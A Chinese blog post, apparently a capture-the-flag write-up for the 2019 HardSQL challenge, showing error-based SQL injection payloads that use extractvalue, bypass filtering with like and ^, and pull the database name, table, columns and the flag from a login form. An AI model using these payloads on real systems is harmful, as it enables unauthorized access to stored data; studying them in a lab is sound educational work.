当前位置:网站首页>[极客大挑战 2019]HardSQL
[极客大挑战 2019]HardSQL
2022-08-09 16:43:00 【努力做大佬m0_68074153】
1.报错注入
sql注入首先先试一下万能密码。
再试试双写
大小写
都不行都被搬了。但是我们发现单独输入一个’会出现报错界面。
尝试使用extractvalue进行报错注入,因为这里=被搬了我们使用like来代替=。
payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(database()))))%23

成功出了库名,那么接下来就是经典组合拳了。
爆表名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like('geek'))))%23

爆列名,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(1,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))))%23

猜测password是我们要的flag信息。查询password,payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(password)from(geek.H4rDsq1))))%23

回显有限制,只出来了一半,我们可以用left,right来左右分别查看然后拼接。payload:
/check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))%23 /check.php?username=admin&password=admin'^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))%23


左右拼起来就是flag。
边栏推荐
猜你喜欢
随机推荐
JMeter笔记6 | JMeter录制(配置代理)
电子产品硬件开发中存在的问题
国际土壤模型协会 International Soil Modeling Consortium-ISMC
华为云全流程护航《流浪方舟》破竹首发,打造口碑爆款
kubernetes之helm简介、安装、配置
《ABP Framework 极速开发》 - 教程首发
.NET MAUI 跨平台应用开发 I|.NET MAUI 跨平台基础
PADS generates bitmap
GoFrame缓冲输出到客户端Flush()
【时序数据库InfluxDB】Windows环境下配置InfluxDB+数据可视化,以及使用 C#进行简单操作的代码实例...
微服务:事务管理
What is control board custom development?
产品结构设计优化模具简化结构总结
Redis 定长队列的探索和实践
一键生成 API 文档的妙招
.NET 6 study notes (4) - Solve the Nullable warning in VS2022
自动生成设备节点
Jenkins使用pipeline部署服务到远程服务器
字符设备的注册
生产者-消费者线程模型学习









